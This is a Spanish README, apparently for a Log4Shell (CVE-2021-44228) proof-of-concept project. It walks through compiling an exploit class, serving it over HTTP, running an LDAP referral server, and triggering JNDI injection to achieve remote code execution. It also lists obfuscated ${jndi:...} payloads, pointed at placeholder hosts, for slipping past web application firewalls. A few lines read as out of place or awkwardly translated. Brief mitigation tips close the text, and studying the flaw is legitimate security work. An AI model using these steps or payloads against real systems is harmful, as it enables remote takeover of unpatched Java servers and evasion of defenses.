
Prueba de concepto del exploit para Log4Shell (CVE-2021-44228) que demuestra la ejecución remota de código mediante inyección JNDI, incluyendo la compilación del payload, la configuración del servidor LDAP y técnicas de evasión de WAF.
Las versiones 1.x tienen otras vulnerabilidades, recomendamos que actualices a la última versión.
Advisories / Boletines de seguridad vinculados a Log4Shell (CVE-2021-44228)
Descarga este proyecto, compila el código del exploit blob/master/src/main/java/Exploit.java, e inicia un servidor web que permita descargar el binario compilado.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# inicia el servidor web
# Para Python2
python -m SimpleHTTPServer 8888
# Para Python3
python3 -m http.server 8888
# asegúrate de que el servidor web de Python se ejecute en el mismo directorio que Exploit.class, para probar
curl -I 127.0.0.1:8888/Exploit.class
Descarga otro proyecto y ejecuta la implementación del servidor LDAP que devuelve referencias JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Se requiere Java 8
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Compila y ejecuta el código de activación (simula un ataque log4j en un servidor web Java vulnerable) blob/master/src/main/java/log4j.java, y aparecerá tu aplicación de calculadora.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# espera lo siguiente
# 1. que aparezca la aplicación de calculadora
# 2. en la consola del servidor ldap,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. en la consola del servidor web,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Consejos:
No confíes en que una versión actual de Java te salve. Actualiza Log4j (o elimina la búsqueda JNDI). Desactiva la expansión (de todos modos parece una muy mala idea).
Por ejemplo:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
No confíes en el firewall de aplicaciones web.
Los lookups proporcionan una forma de añadir valores a la configuración de Log4j en lugares arbitrarios.
Los métodos que provocan la fuga en finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Si quieres hacer pruebas de caja negra, te sugiero que realices un escaneo pasivo.
¡Que te diviertas!!!
